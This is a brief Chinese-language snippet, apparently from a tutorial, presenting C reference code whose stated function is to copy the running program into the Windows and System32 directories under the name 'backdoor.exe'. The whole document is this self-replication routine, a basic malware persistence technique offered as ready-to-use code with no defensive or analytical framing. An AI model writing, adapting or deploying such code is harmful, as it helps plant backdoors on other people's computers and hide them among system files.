功能:复制自身到windows目录和system32目录下。
参考代码:
1 #include <stdio.h> 2 #include <windows.h> 3 void CopySelf(){ 4 char SelfName[MAX_PATH]={0}; 5 char WindowsPath[MAX_PATH]={0}; 6 char SystemPath[MAX_PATH]={0}; 7 8 GetModuleFileName(NULL,SelfName,MAX_PATH); 9 GetWindowsDirectory(WindowsPath,MAX_PATH); 10 GetSystemDirectory(SystemPath,MAX_PATH); 11 12 puts("-------------"); 13 puts(SelfName); 14 puts(WindowsPath); 15 puts(SystemPath); 16 puts("-------------"); 17 18 19 strcat(WindowsPath,"\\backdoor.exe"); 20 strcat(SystemPath,"\\backdoor.exe"); 21 22 CopyFile(SelfName,WindowsPath,FALSE); 23 CopyFile(SelfName,SystemPath,FALSE); 24 puts("************************"); 25 puts(SelfName); 26 puts(WindowsPath); 27 puts(SystemPath); 28 puts("************************"); 29 30 } 31 int main() 32 { 33 CopySelf(); 34 return 0; 35 }